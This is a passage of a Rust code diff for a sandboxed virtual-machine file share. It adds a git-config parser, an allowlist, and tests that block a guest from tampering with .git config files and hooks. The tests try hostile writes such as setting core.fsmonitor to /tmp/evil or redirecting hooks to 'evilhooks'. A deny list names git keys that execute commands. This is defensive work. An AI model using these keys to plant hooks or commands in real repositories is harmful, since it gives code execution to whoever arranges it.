assert_eq!(tag_of(&share.root.join(name)), None, "{name}"); ++ } ++ // An execute bit added. ++ let script = share.at("script"); ++ assert_eq!(share.setattr(script, FATTR_MODE, 0o744, 0).error, 0); ++ assert_tagged(&share.root.join("script")); ++ // A write-open of an executable. ++ assert_eq!(share.open_w("bin"), 0); ++ assert_tagged(&share.root.join("bin")); ++ // A truncate of an executable. ++ let big = share.at("big"); ++ assert_eq!(share.setattr(big, FATTR_SIZE, 0, 0).error, 0); ++ assert_tagged(&share.root.join("big")); ++} ++ ++#[test] ++fn r16_a_tag_failure_fails_the_call_and_removes_a_new_node() { ++ let mut share = folder(|root| { ++ fs::write(root.join("exe"), b"x").unwrap(); ++ fs::set_permissions(root.join("exe"), fs::Permissions::from_mode(0o755)).unwrap(); ++ fs::write(root.join("doc"), b"x").unwrap(); ++ }); ++ let fail = || quarantine::FAIL_NEXT.store(true, Ordering::SeqCst); ++ fail(); ++ assert_eq!(share.create(1, b"f", 0o755, RDWR).error, lx::EIO); ++ assert!(!share.root.join("f").exists()); ++ fail(); ++ assert_eq!(share.mkdir(1, b"d", 0o755).error, lx::EIO); ++ assert!(!share.root.join("d").exists()); ++ fail(); ++ let exe = share.at("exe"); ++ assert_eq!(share.open(exe, WRONLY).error, lx::EIO); ++ fail(); ++ assert_eq!(share.setattr(exe, FATTR_SIZE, 0, 0).error, lx::EIO); ++ assert_eq!(fs::read(share.root.join("exe")).unwrap(), b"x", "nothing changed"); ++ fail(); ++ let doc = share.at("doc"); ++ assert_eq!(share.setattr(doc, FATTR_MODE, 0o755, 0).error, lx::EIO); ++ assert_eq!(mode_of(&share.root.join("doc")) & 0o111, 0, "the mode did not change"); ++ assert!(!quarantine::FAIL_NEXT.load(Ordering::SeqCst)); ++ assert_eq!(share.fs().open_descriptors(), share.fs().lock().dirs.len() + 1); ++} ++ ++#[test] ++fn r15_forged_ids_still_reach_the_core_refusals() { ++ let mut share = folder(|root| plant_repo(&root.join("r"), PLAIN_CONFIG)); ++ let r = share.at("r"); ++ assert_eq!(share.rename(r, b".git", 9999, b"x").error, lx::EXDEV); ++ assert_eq!(share.link(9999, r, b"x").error, lx::EXDEV); ++ assert_eq!(share.create(9999, b"HEAD", 0o644, RDWR).error, lx::ESTALE); ++ assert_eq!(share.mkdir(9999, b"hooks", 0o755).error, lx::ESTALE); ++ assert!(share.root.join("r/.git").is_dir()); ++} ++ ++ ++// ---- follow-up: symbolic links among the protected names (sh2d) -------------------------------------- ++ ++#[test] ++fn sh2d_symlinked_config_target_is_writable() { ++ let mut share = folder(|root| { ++ plant_repo(&root.join("r"), PLAIN_CONFIG); ++ fs::rename(root.join("r/.git/config"), root.join("r/real-config")).unwrap(); ++ symlink("../real-config", root.join("r/.git/config")).unwrap(); ++ }); ++ // The guest never looks up .git: the repository was read when r was resolved. ++ assert_eq!(share.rewrite("r/real-config", b"[core]\n\tfsmonitor = /tmp/evil\n"), EPERM); ++ assert_eq!(share.open_w("r/real-config"), EPERM); ++ assert_eq!(share.rm("r/real-config"), EPERM); ++ assert_eq!(share.ren("r/real-config", "r/moved"), EPERM); ++ assert_eq!(share.put("r/other", b"[core]\n\tfsmonitor = x\n"), 0); ++ assert_eq!(share.ren("r/other", "r/real-config"), EPERM); ++ assert_eq!(share.rm("r/.git/config"), EPERM); ++ assert_eq!(share.lock_rename("r/.git/config", PLAIN_CONFIG.as_bytes()), EPERM); ++ assert_eq!(fs::read_to_string(share.root.join("r/real-config")).unwrap(), PLAIN_CONFIG); ++ assert!(fs::symlink_metadata(share.root.join("r/.git/config")).unwrap().file_type().is_symlink()); ++} ++ ++#[test] ++fn sh2d_symlinked_hooks_target_is_writable() { ++ let mut share = folder(|root| { ++ plant_repo(&root.join("r"), PLAIN_CONFIG); ++ fs::create_dir(root.join("r/realhooks")).unwrap(); ++ fs::write(root.join("r/realhooks/pre-push"), b"#!/bin/sh\n").unwrap(); ++ symlink("../realhooks", root.join("r/.git/hooks")).unwrap(); ++ plant_repo(&root.join("m"), PLAIN_CONFIG); ++ symlink("../later", root.join("m/.git/hooks")).unwrap(); ++ }); ++ assert_eq!(share.put("r/realhooks/pre-commit", b""), EPERM); ++ assert!(!share.root.join("r/realhooks/pre-commit").exists()); ++ assert_eq!(share.open_w("r/realhooks/pre-push"), EPERM); ++ assert_eq!(share.rm("r/realhooks/pre-push"), EPERM); ++ assert_eq!(share.ren("r/realhooks", "r/x"), EPERM); ++ // A link to a directory that does not exist yet: it cannot be made. ++ assert_eq!(share.md("m/later"), EPERM); ++ assert_eq!(share.sym("m/later", "elsewhere"), EPERM); ++ assert_eq!(share.notices(), vec![NoticeKind::GitProtected]); ++} ++ ++#[test] ++fn sh2d_hooks_path_symlink_can_be_repointed() { ++ let mut share = folder(|root| { ++ plant_repo(&root.join("r"), &format!("{PLAIN_CONFIG}\thooksPath = .githooks\n")); ++ fs::create_dir(root.join("r/safehooks")).unwrap(); ++ fs::write(root.join("r/safehooks/pre-commit"), b"lint\n").unwrap(); ++ symlink("safehooks", root.join("r/.githooks")).unwrap(); ++ }); ++ // The reviewer's sequence: unlink .githooks, link it to evilhooks, make evilhooks and its hook. ++ assert_eq!(share.rm("r/.githooks"), EPERM); ++ assert_eq!(share.ren("r/.githooks", "r/old"), EPERM); ++ assert_eq!(share.sym("r/.githooks", "evilhooks"), EPERM); ++ assert_eq!(share.put("r/x", b""), 0); ++ assert_eq!(share.ren("r/x", "r/.githooks"), EPERM); ++ assert_eq!(share.md("r/evilhooks"), 0); ++ assert_eq!(share.put("r/evilhooks/pre-commit", b"evil\n"), 0, "harmless: nothing names it"); ++ // The resolved tree: safehooks and its hooks. ++ assert_eq!(share.put("r/safehooks/pre-push", b""), EPERM); ++ assert_eq!(share.open_w("r/safehooks/pre-commit"), EPERM); ++ assert_eq!(share.ren("r/safehooks", "r/gone"), EPERM); ++ assert_eq!(fs::read_link(share.root.join("r/.githooks")).unwrap(), Path::new("safehooks")); ++} ++ ++#[test] ++fn sh2d_a_symlinked_dot_git_makes_its_git_directory_the_zone() { ++ let mut share = folder(|root| { ++ plant_repo(&root.join("store/w"), PLAIN_CONFIG); ++ fs::rename(root.join("store/w/.git"), root.join("store/w.git")).unwrap(); ++ fs::remove_dir(root.join("store/w")).unwrap(); ++ fs::create_dir_all(root.join("store/w.git/modules/x")).unwrap(); ++ fs::create_dir(root.join("w")).unwrap(); ++ symlink("../store/w.git", root.join("w/.git")).unwrap(); ++ }); ++ share.at("w"); ++ // Below the git directory the link reaches, as below a .git. ++ assert_eq!(share.put("store/w.git/modules/x/config", b"[core]\n\tfsmonitor = x\n"), EPERM); ++ assert_eq!(share.md("store/w.git/modules/x/hooks"), EPERM); ++ assert_eq!(share.sym("store/w.git/modules/x/y", "z"), EPERM); ++ // The link itself cannot be removed, moved or re-pointed. ++ assert_eq!(share.rm("w/.git"), EPERM); ++ assert_eq!(share.ren("w/.git", "w/old"), EPERM); ++ assert_eq!(share.sym("w/.git", "../elsewhere"), EPERM); ++ // git keeps working there (an admitted config, a lock file). ++ assert_eq!(share.lock_rename("store/w.git/config", PLAIN_CONFIG.as_bytes()), 0); ++} ++ ++#[test] ++fn sh2d_an_unreadable_or_malformed_config_fails_closed() { ++ let mut share = folder(|root| { ++ plant_repo(&root.join("u"), PLAIN_CONFIG); ++ fs::set_permissions(root.join("u/.git/config"), fs::Permissions::from_mode(0o000)).unwrap(); ++ plant_repo(&root.join("b"), "[core\n\thooksPath = h\n"); ++ }); ++ share.at("u"); ++ assert_eq!(share.notices(), vec![NoticeKind::GitProtected], "reported at discovery"); ++ assert_eq!(share.lock_rename("u/.git/config", PLAIN_CONFIG.as_bytes()), EPERM); ++ assert_eq!(share.rm("u/.git/config"), EPERM); ++ share.at("b"); ++ assert_eq!(share.lock_rename("b/.git/config", PLAIN_CONFIG.as_bytes()), EPERM); ++ assert_eq!(share.open_w("b/.git/config"), EPERM); ++ assert_eq!(fs::read(share.root.join("b/.git/config")).unwrap(), b"[core\n\thooksPath = h\n"); ++ let _ = fs::set_permissions(share.root.join("u/.git/config"), fs::Permissions::from_mode(0o600)); ++} ++ ++#[test] ++fn sh2d_no_symbolic_link_in_a_dot_git_chain_but_git_s_own_probe() { ++ let mut share = folder(|root| { ++ plant_repo(&root.join("r"), PLAIN_CONFIG); ++ fs::create_dir(root.join("r/.git/logs")).unwrap(); ++ symlink("x", root.join("r/link")).unwrap(); ++ }); ++ for path in ["r/.git/info", "r/.git/modules", "r/.git/refs/heads/x", "r/.git/logs/HEAD", "r/.git/HEAD2"] { ++ assert_eq!(share.sym(path, "../../elsewhere"), EPERM, "{path}"); ++ } ++ assert_eq!(share.sym("r/.git/tAb12c3", "other"), EPERM, "the probe points at testing only"); ++ assert_eq!(share.sym("r/.git/tAb12c3x", "testing"), EPERM, "the probe's name is t and six characters"); ++ assert_eq!(share.sym("r/.git/tAb12c3", "testing"), 0); ++ assert_eq!(share.rm("r/.git/tAb12c3"), 0); ++ // Moved in or hard-linked in: refused too. ++ assert_eq!(share.ren("r/link", "r/.git/link"), EPERM); ++ assert_eq!(share.hard("r/link", "r/.git/link"), EPERM); ++ assert_eq!(share.ren("r/link", "r/.git/refs/link"), EPERM); ++ // Outside a .git chain links are ordinary work. ++ assert_eq!(share.sym("r/src-link", "src"), 0); ++} ++ ++#[test] ++fn sh2d_nested_git_directories_are_read_before_anything_below_is_served() { ++ let mut share = folder(|root| { ++ plant_repo(&root.join("r"), PLAIN_CONFIG); ++ let module = root.join("r/.git/modules/a/b"); ++ fs::create_dir_all(module.join("objects")).unwrap(); ++ fs::write(module.join("HEAD"), "ref: refs/heads/main\n").unwrap(); ++ fs::write(module.join("config"), format!("{PLAIN_CONFIG}\thooksPath = ../../../../tracked\n")).unwrap(); ++ symlink("../../../../x-hooks", module.join("hooks")).unwrap(); ++ fs::create_dir(root.join("r/x-hooks")).unwrap(); ++ fs::create_dir(root.join("r/tracked")).unwrap(); ++ }); ++ // Never looking up .git/modules: both are protected from the first lookup of r. ++ assert_eq!(share.put("r/x-hooks/pre-commit", b""), EPERM); ++ assert_eq!(share.put("r/tracked/pre-commit", b""), EPERM); ++} ++ ++#[test] ++fn sh2d_past_the_scan_budget_the_whole_git_directory_is_held() { ++ let mut share = folder(|root| { ++ plant_repo(&root.join("r"), PLAIN_CONFIG); ++ for i in 0..=git::SCAN_BUDGET { ++ fs::create_dir_all(root.join(format!("r/.git/modules/m{i}"))).unwrap(); ++ } ++ }); ++ share.at("r"); ++ assert_eq!(share.notices(), vec![NoticeKind::GitProtected]); ++ assert_eq!(share.put("r/.git/objects/x", b""), EPERM); ++ assert_eq!(share.lock_rename("r/.git/HEAD", b"ref: refs/heads/x\n"), EPERM); ++} +diff --git a/src/devices/src/virtio/fs/macos/confined/gitconfig.rs b/src/devices/src/virtio/fs/macos/confined/gitconfig.rs +new file mode 100644 +index 0000000..dd78b76 +--- /dev/null ++++ b/src/devices/src/virtio/fs/macos/confined/gitconfig.rs +@@ -0,0 +1,357 @@ ++// R15 (M-a): a strict git-config parser and the admitted-key allowlist with its suffix backstop. ++// ++// The parser follows git's own config syntax (config.c): sections, quoted subsections, the legacy ++// `[section.subsection]` form, keys, quoting, the four escapes and continuation lines. Anything git would ++// reject, and anything ambiguous (a NUL byte, an unknown escape, an unterminated quote), is a parse error, ++// and a parse error refuses the write. ++ ++/// One `section[.subsection].key = value` entry. Section and key names are folded as git folds them ++/// (ASCII lower case); a quoted subsection is kept exactly, a legacy one is lower-cased as git does. ++/// `value` is `None` for a key written without `=` (git's boolean true). ++#[derive(Clone, Debug, PartialEq, Eq, Hash)] ++pub struct ConfigEntry { ++ pub section: String, ++ pub subsection: Option>, ++ pub key: String, ++ pub value: Option>, ++} ++ ++impl ConfigEntry { ++ /// `section.subsection.key` as git prints it. ++ pub fn name(&self) -> String { ++ match &self.subsection { ++ Some(sub) => format!("{}.{}.{}", self.section, String::from_utf8_lossy(sub), self.key), ++ None => format!("{}.{}", self.section, self.key), ++ } ++ } ++} ++ ++#[derive(Debug, PartialEq, Eq)] ++pub struct ParseError; ++ ++struct Cursor<'a> { ++ text: &'a [u8], ++ at: usize, ++} ++ ++impl Cursor<'_> { ++ /// The next byte; the end of the text reads as a newline, as in git. ++ fn next(&mut self) -> Option { ++ let c = self.text.get(self.at).copied(); ++ if c.is_some() { ++ self.at += 1; ++ } ++ c ++ } ++ fn peek(&self) -> Option { ++ self.text.get(self.at).copied() ++ } ++} ++ ++fn is_space(c: u8) -> bool { ++ matches!(c, b' ' | b'\t' | b'\r' | b'\x0b' | b'\x0c') ++} ++ ++/// Parses a whole config file. Every entry is returned in file order. ++pub fn parse(text: &[u8]) -> Result, ParseError> { ++ if text.contains(&0) { ++ return Err(ParseError); ++ } ++ let text = text.strip_prefix(b"\xef\xbb\xbf").unwrap_or(text); ++ let mut c = Cursor { text, at: 0 }; ++ let mut section: Option<(String, Option>)> = None; ++ let mut entries = Vec::new(); ++ while let Some(ch) = c.next() { ++ match ch { ++ b'\n' => {} ++ _ if is_space(ch) => {} ++ b'#' | b';' => skip_line(&mut c), ++ b'[' => section = Some(header(&mut c)?), ++ _ if ch.is_ascii_alphabetic() => { ++ let Some((name, sub)) = section.clone() else { return Err(ParseError) }; ++ let (key, value) = key_value(ch, &mut c)?; ++ entries.push(ConfigEntry { section: name, subsection: sub, key, value }); ++ } ++ _ => return Err(ParseError), ++ } ++ } ++ Ok(entries) ++} ++ ++fn skip_line(c: &mut Cursor) { ++ while let Some(ch) = c.next() { ++ if ch == b'\n' { ++ break; ++ } ++ } ++} ++ ++/// `[name]`, `[name "subsection"]` or the legacy `[name.subsection]`. ++fn header(c: &mut Cursor) -> Result<(String, Option>), ParseError> { ++ let mut name = String::new(); ++ loop { ++ let ch = c.next().ok_or(ParseError)?; ++ match ch { ++ b']' => break, ++ _ if is_space(ch) => return quoted_header(c, name), ++ _ if ch.is_ascii_alphanumeric() || ch == b'-' || ch == b'.' => name.push(ch.to_ascii_lowercase() as char), ++ _ => return Err(ParseError), ++ } ++ } ++ if name.is_empty() || name.starts_with('.') || name.ends_with('.') || name.contains("..") { ++ return Err(ParseError); ++ } ++ // The legacy form: git keys it as `name.subsection.key` with the subsection lower-cased. ++ match name.split_once('.') { ++ Some((section, sub)) => Ok((section.to_owned(), Some(sub.as_bytes().to_vec()))), ++ None => Ok((name, None)), ++ } ++} ++ ++fn quoted_header(c: &mut Cursor, name: String) -> Result<(String, Option>), ParseError> { ++ if name.is_empty() || name.contains('.') { ++ return Err(ParseError); ++ } ++ loop { ++ match c.next().ok_or(ParseError)? { ++ ch if is_space(ch) => {} ++ b'"' => break, ++ _ => return Err(ParseError), ++ } ++ } ++ let mut sub = Vec::new(); ++ loop { ++ match c.next().ok_or(ParseError)? { ++ b'\n' => return Err(ParseError), ++ b'"' => break, ++ b'\\' => match c.next().ok_or(ParseError)? { ++ b'\n' => return Err(ParseError), ++ other => sub.push(other), ++ }, ++ other => sub.push(other), ++ } ++ } ++ if c.next() != Some(b']') { ++ return Err(ParseError); ++ } ++ Ok((name, Some(sub))) ++} ++ ++fn key_value(first: u8, c: &mut Cursor) -> Result<(String, Option>), ParseError> { ++ let mut key = String::new(); ++ key.push(first.to_ascii_lowercase() as char); ++ while let Some(ch) = c.peek() { ++ if ch.is_ascii_alphanumeric() || ch == b'-' { ++ key.push(ch.to_ascii_lowercase() as char); ++ c.at += 1; ++ } else { ++ break; ++ } ++ } ++ while let Some(ch) = c.peek() { ++ if ch == b' ' || ch == b'\t' { ++ c.at += 1; ++ } else { ++ break; ++ } ++ } ++ match c.next() { ++ None | Some(b'\n') => Ok((key, None)), ++ Some(b'#') | Some(b';') => { ++ skip_line(c); ++ Ok((key, None)) ++ } ++ Some(b'\r') if matches!(c.peek(), None | Some(b'\n')) => { ++ c.next(); ++ Ok((key, None)) ++ } ++ Some(b'=') => Ok((key, Some(value(c)?))), ++ Some(_) => Err(ParseError), ++ } ++} ++ ++/// A value, as git reads it: leading blanks dropped, inner unquoted blanks kept, trailing unquoted blanks ++/// dropped, `#`/`;` outside quotes start a comment, `\` + newline continues. ++fn value(c: &mut Cursor) -> Result, ParseError> { ++ let mut out = Vec::new(); ++ let mut quote = false; ++ let mut comment = false; ++ let mut space = 0usize; ++ loop { ++ let ch = c.next().unwrap_or(b'\n'); ++ if ch == b'\n' { ++ if quote { ++ return Err(ParseError); ++ } ++ return Ok(out); ++ } ++ if comment { ++ continue; ++ } ++ if is_space(ch) && !quote { ++ if !out.is_empty() { ++ space += 1; ++ } ++ continue; ++ } ++ if !quote && (ch == b';' || ch == b'#') { ++ comment = true; ++ continue; ++ } ++ for _ in 0..space { ++ out.push(b' '); ++ } ++ space = 0; ++ match ch { ++ b'\\' => match c.next().unwrap_or(b'\n') { ++ b'\n' => {} ++ b't' => out.push(b'\t'), ++ b'b' => out.push(8), ++ b'n' => out.push(b'\n'), ++ b'\\' => out.push(b'\\'), ++ b'"' => out.push(b'"'), ++ _ => return Err(ParseError), ++ }, ++ b'"' => quote = !quote, ++ other => out.push(other), ++ } ++ } ++} ++ ++/// The suffix backstop: a key whose last component ends in one of these (folded) is refused even when a ++/// wildcard admits it. ++pub const REFUSED_SUFFIXES: [&str; 11] = ++ ["cmd", "command", "program", "path", "helper", "hook", "editor", "pager", "driver", "textconv", "proxy"]; ++ ++/// The keys admitted by name (`*` is any subsection): what git itself writes and plainly inert settings. ++/// Two keys are admitted only conditionally and are decided apart: `submodule.*.update` with an inert value ++/// (`ADMITTED_UPDATE_VALUES`), and `core.worktree` where the caller says so (a submodule's own git directory ++/// naming a work tree inside the share, which git writes; see `ConfinedFs::worktree_ok`). ++pub const ADMITTED: [&str; 30] = [ ++ "core.repositoryformatversion", ++ "core.filemode", ++ "core.bare", ++ "core.logallrefupdates", ++ "core.ignorecase", ++ "core.precomposeunicode", ++ "core.symlinks", ++ "core.sparsecheckout", ++ "core.sparsecheckoutcone", ++ "extensions.objectformat", ++ "extensions.worktreeconfig", ++ "remote.*.url", ++ "remote.*.pushurl", ++ "remote.*.fetch", ++ "remote.*.tagopt", ++ "remote.*.prune", ++ "branch.*.remote", ++ "branch.*.merge", ++ "branch.*.rebase", ++ "branch.*.pushremote", ++ "submodule.*.url", ++ "submodule.*.active", ++ "user.name", ++ "user.email", ++ "push.default", ++ "rebase.autostash", ++ "fetch.prune", ++ "init.defaultbranch", ++ "index.sparse", ++ "submodule.*.update", ++]; ++ ++/// Sections admitted whole (any subsection, any key), minus the suffix backstop; `lfs` also minus ++/// `lfs.customtransfer.*` and `lfs.extension.*`. ++pub const ADMITTED_SECTIONS: [&str; 2] = ["lfs", "pull"]; ++ ++/// The only values `submodule..update` may take (`!command` and anything else are refused). ++pub const ADMITTED_UPDATE_VALUES: [&[u8]; 4] = [b"checkout", b"rebase", b"merge", b"none"]; ++ ++/// The refusals the design names (every one is also outside the allowlist). Kept for the tests. ++pub const NAMED_REFUSALS: [&str; 41] = [ ++ "core.worktree", ++ "core.fsmonitor", ++ "core.hookspath", ++ "core.sshcommand", ++ "core.editor", ++ "core.pager", ++ "core.askpass", ++ "core.gitproxy", ++ "core.alternaterefscommand", ++ "credential.helper", ++ "diff.external", ++ "diff.x.textconv", ++ "diff.x.command", ++ "difftool.x.cmd", ++ "merge.x.driver", ++ "mergetool.x.cmd", ++ "filter.x.clean", ++ "filter.x.smudge", ++ "filter.x.process", ++ "include.path", ++ "includeif.gitdir:/x.path", ++ "alias.x", ++ "sequence.editor", ++ "pager.log", ++ "gpg.program", ++ "commit.gpgsign", ++ "tag.gpgsign", ++ "push.gpgsign", ++ "uploadpack.packobjectshook", ++ "receive.procreceiverefs", ++ "remote.x.uploadpack", ++ "remote.x.receivepack", ++ "remote.x.vcs", ++ "protocol.allow", ++ "sendemail.smtpserver", ++ "web.browser", ++ "browser.x.path", ++ "man.viewer", ++ "instaweb.httpd", ++ "guitool.x.cmd", ++ "submodule.x.update", ++]; ++ ++pub fn suffix_refused(key: &str) -> bool { ++ let key = key.to_ascii_lowercase(); ++ REFUSED_SUFFIXES.iter().any(|s| key.ends_with(s)) ++} ++ ++fn lfs_refused_subsection(sub: &[u8]) -> bool { ++ let sub = sub.to_ascii_lowercase(); ++ for prefix in [&b"customtransfer"[..], b"extension"] { ++ if sub == prefix || (sub.starts_with(prefix) && sub.get(prefix.len()) == Some(&b'.')) { ++ return true; ++ } ++ } ++ false ++} ++ ++/// Whether one entry may be added or changed by the guest. `worktree_ok` decides the one location-bound ++/// key, `core.worktree`. ++pub fn admitted(e: &ConfigEntry, worktree_ok: &mut dyn FnMut(&[u8]) -> bool) -> bool { ++ if suffix_refused(&e.key) { ++ return false; ++ } ++ let section = e.section.as_str(); ++ if section == "lfs" { ++ return !e.subsection.as_deref().is_some_and(lfs_refused_subsection); ++ } ++ if ADMITTED_SECTIONS.contains(§ion) { ++ return true; ++ } ++ if section == "core" && e.key == "worktree" { ++ return e.subsection.is_none() && e.value.as_deref().is_some_and(|v| worktree_ok(v)); ++ } ++ if section == "submodule" && e.key == "update" { ++ return e.subsection.is_some() && e.value.as_deref().is_some_and(|v| ADMITTED_UPDATE_VALUES.contains(&v)); ++ } ++ ADMITTED.iter().any(|pattern| { ++ let parts: Vec<&str> = pattern.split('.').collect(); ++ match (parts.as_slice(), &e.subsection) { ++ ([s, k], None) => *s == section && *k == e.key, ++ ([s, "*", k], Some(_)) => *s == section && *k == e.key, ++ _ => false, ++ } ++ }) ++} +diff --git a/src/devices/src/virtio/fs/macos/confined/mod.rs b/src/devices/src/virtio/fs/macos/confined/mod.rs +index 5e0a0e6..1ef5a51 100644 +--- a/src/devices/src/virtio/fs/macos/confined/mod.rs ++++ b/src/devices/src/virtio/fs/macos/confined/mod.rs +@@ -11,16 +11,25 @@ + // confined dispatch of `server.rs` (`Server::handle_confined_message`). + // + // Extension points: every mutating operation passes one chokepoint, `ConfinedFs::admit(&Mutation)`, which +-// applies the read-only refusal and then `ConfinedHooks::admit`; every new regular file or directory passes +-// `ConfinedHooks::created` with its descriptor before the reply, and a failure removes the new node and +-// answers `EIO`. ++// applies the read-only refusal, then the git rules (R15, `git.rs`, on read-write folder sources), then ++// `ConfinedHooks::admit`; every new regular file or directory is quarantine-tagged on a read-write share ++// (R16, `quarantine.rs`) and passes `ConfinedHooks::created` with its descriptor before the reply, and a ++// failure of either removes the new node and answers `EIO`. + ++mod git; ++mod gitconfig; + mod names; ++mod notice; ++mod quarantine; + mod sys; + #[cfg(test)] + mod tests; + ++pub use git::{fold, PointerKind, GIT_HOOKS, INCLUDE_DEPTH, POINTER_MAX}; ++pub use gitconfig::{admitted, parse as parse_git_config, ConfigEntry, ADMITTED, ADMITTED_SECTIONS, NAMED_REFUSALS, REFUSED_SUFFIXES}; + pub use names::{check_name, is_hfs_ignorable, NAME_MAX}; ++pub use notice::{NoticeKind, ShareNotices, NOTICE_CAPACITY}; ++pub use quarantine::{QUARANTINE_AGENT, QUARANTINE_FLAGS, QUARANTINE_NAME}; + pub use sys::lx; + + use std::collections::HashMap; +@@ -72,7 +81,8 @@ const LINUX_SEEK_HOLE: u32 = 4; + const LINUX_W_OK: u32 = 2; + + /// The three share flags of the ABI (`krun_cowork_add_share_v1`): bit 0 read-only, bit 1 Winter share +-/// (R5 `O_UNIQUE`, R13 `F_FULLFSYNC`), bit 2 folder rules (R15, a later patch). Every other bit is refused. ++/// (R5 `O_UNIQUE`, R13 `F_FULLFSYNC`), bit 2 folder rules (R15, on a read-write share). Every other bit is ++/// refused. R16 (the quarantine tag) applies to every share that is not read-only. + #[derive(Clone, Copy, Debug, Default, PartialEq, Eq)] + pub struct ShareFlags { + pub read_only: bool, +@@ -304,6 +314,8 @@ struct Handle { + node: u64, + body: Body, + writable: bool, ++ /// R15: a pointer file's content, held until FLUSH or RELEASE checks it. ++ pointer: Option, + } + + impl Handle { +@@ -325,6 +337,8 @@ struct State { + next_handle: u64, + /// R10: the node-table cap (`MAX_NODES`; smaller only in tests). + node_cap: usize, ++ /// R15 on a read-write folder source; `None` elsewhere. ++ git: Option, + } + + /// The confined filesystem of one share. +@@ -339,6 +353,10 @@ pub struct ConfinedFs { + hooks: Box, + full_syncs: AtomicU64, + plain_syncs: AtomicU64, ++ /// R16: every share that is not read-only tags what the guest creates or makes executable. ++ quarantine: bool, ++ /// R15: the `share_notice` sink the device layer drains. ++ notices: ShareNotices, + } + + fn dev_ino(st: &libc::stat) -> (u64, u64) { +@@ -360,7 +378,9 @@ impl ConfinedFs { + ); + let mut ids = HashMap::new(); + ids.insert((dev, ino), ROOT_ID); +- Ok(ConfinedFs { ++ let rules = cfg.flags.folder_rules && !cfg.flags.read_only; ++ let git = rules.then(|| git::GitState::new(sys::case_sensitive(cfg.root.as_raw_fd()))); ++ let fs = ConfinedFs { + state: Mutex::new(State { + root: Some(Arc::new(cfg.root)), + nodes, +@@ -370,6 +390,7 @@ impl ConfinedFs { + handles: HashMap::new(), + next_handle: 1, + node_cap: MAX_NODES, ++ git, + }), + host: Host { unique: cfg.flags.winter_share }, + flags: cfg.flags, +@@ -380,7 +401,15 @@ impl ConfinedFs { + hooks: Box::new(NoHooks), + full_syncs: AtomicU64::new(0), + plain_syncs: AtomicU64::new(0), +- }) ++ quarantine: !cfg.flags.read_only, ++ notices: ShareNotices::default(), ++ }; ++ // R15: the root's repository (if any) is read before anything is served. ++ { ++ let mut st = fs.lock(); ++ fs.git_discover(&mut st, ROOT_ID)?; ++ } ++ Ok(fs) + } + + pub fn with_hooks(mut self, hooks: Box) -> Self { +@@ -400,6 +429,11 @@ impl ConfinedFs { + (self.root_dev, self.root_ino) + } + ++ /// The `share_notice` sink (R15): the device layer drains it and the worker tags and rate-limits it. ++ pub fn notices(&self) -> ShareNotices { ++ self.notices.clone() ++ } ++ + /// A handle on this device's revoke flag, for the thread that receives the revocation. + pub fn revoke_switch(&self) -> RevokeSwitch { + self.revoke.clone() +@@ -439,9 +473,11 @@ impl ConfinedFs { + Ok(()) + } + +- /// The one chokepoint of every mutating operation: read-only first (R8), then the policy hooks. ++ /// The one chokepoint of every mutating operation: read-only first (R8), then the git rules (R15), ++ /// then the policy hooks. + fn admit(&self, op: &Mutation) -> io::Result<()> { + self.writable()?; ++ self.git_admit(op)?; + self.hooks.admit(op) + } + +@@ -668,7 +704,7 @@ impl ConfinedFs { + let body = if dir { Body::Dir(DirStream::new(fd)?) } else { Body::File(File::from(fd)) }; + let h = st.next_handle; + st.next_handle += 1; +- st.handles.insert(h, Handle { node, body, writable }); ++ st.handles.insert(h, Handle { node, body, writable, pointer: None }); + Ok(h) + } + +@@ -697,9 +733,11 @@ impl ConfinedFs { + } + } + +- /// Runs the created hook; on failure removes the new node through its parent and answers `EIO`. ++ /// Sets the quarantine tag (R16) and runs the created hook; on a failure of either removes the new ++ /// node through its parent and answers `EIO`. + fn finish_create(&self, pfd: RawFd, name: &CStr, fd: BorrowedFd<'_>, kind: CreatedKind) -> io::Result<()> { +- if self.hooks.created(fd, kind).is_err() { ++ let tagged = !self.quarantine || quarantine::tag(fd.as_raw_fd()).is_ok(); ++ if !tagged || self.hooks.created(fd, kind).is_err() { + let _ = self.host.unlinkat(pfd, name, kind == CreatedKind::Directory); + return Err(err(lx::EIO)); + } +@@ -711,6 +749,7 @@ impl ConfinedFs { + let pfd = self.dir_fd(st, parent)?; + let s = self.host.fstatat(pfd.as_raw_fd(), name)?; + self.same_device(&s)?; ++ let first = !st.ids.contains_key(&dev_ino(&s)); + let id = if kind_of(s.st_mode) == Kind::Dir { + let fd = self.open_dir_at(pfd.as_raw_fd(), name, s.st_dev as u64, s.st_ino)?; + let id = self.insert(st, parent, name, &s)?; +@@ -719,6 +758,15 @@ impl ConfinedFs { + } else { + self.insert(st, parent, name, &s)? + }; ++ if st.git.is_some() { ++ // R15: a directory's repository is read the first time it is resolved, before the answer; a ++ // protected name is held by its identity from here on. ++ let checked = if first && kind_of(s.st_mode) == Kind::Dir { self.git_discover(st, id) } else { Ok(()) }; ++ if let Err(e) = checked.and_then(|_| self.git_hold(st, id)) { ++ self.forget_one(st, id, 1); ++ return Err(e); ++ } ++ } + Ok(self.entry(ctx, id, s)) + } + } +@@ -792,6 +840,13 @@ impl FileSystem for ConfinedFs { + if valid.intersects(SetattrValid::UID | SetattrValid::GID) { + return Err(err(lx::EPERM)); + } ++ // R15: a size change through a pointer file's own handle changes only its buffer. ++ if let (true, Some(h)) = (valid.contains(SetattrValid::SIZE), handle) { ++ let mut st = self.lock(); ++ if let Some(reply) = self.pointer_resize(&mut st, &ctx, inode, h, attr.st_size)? { ++ return Ok(reply); ++ } ++ } + self.admit(&Mutation::Setattr { node: inode, valid, mode: attr.st_mode as u32 })?; + let mut st = self.lock(); + let kind = st.nodes.get(&inode).ok_or_else(|| err(lx::ESTALE))?.kind; +@@ -809,11 +864,13 @@ impl FileSystem for ConfinedFs { + let held = Self::handle(&mut st, inode, h)?; + if !size || held.writable { + let fd = held.fd(); ++ self.tag_setattr(fd, &attr, valid)?; + return self.apply_setattr(&ctx, fd, &attr, valid); + } + } + let access = if size { libc::O_WRONLY } else { libc::O_RDONLY }; + let fd = self.open_file(&mut st, inode, access)?; ++ self.tag_setattr(fd.as_raw_fd(), &attr, valid)?; + self.apply_setattr(&ctx, fd.as_raw_fd(), &attr, valid) + } + _ => Err(err(lx::EPERM)), +@@ -880,7 +937,10 @@ impl FileSystem for ConfinedFs { + self.admit(&Mutation::Unlink { parent, name })?; + let mut st = self.lock(); + let pfd = self.dir_fd(&mut st, parent)?; +- self.host.unlinkat(pfd.as_raw_fd(), name, false) ++ let gone = self.git_identity(&st, pfd.as_raw_fd(), name.to_bytes()); ++ self.host.unlinkat(pfd.as_raw_fd(), name, false)?; ++ 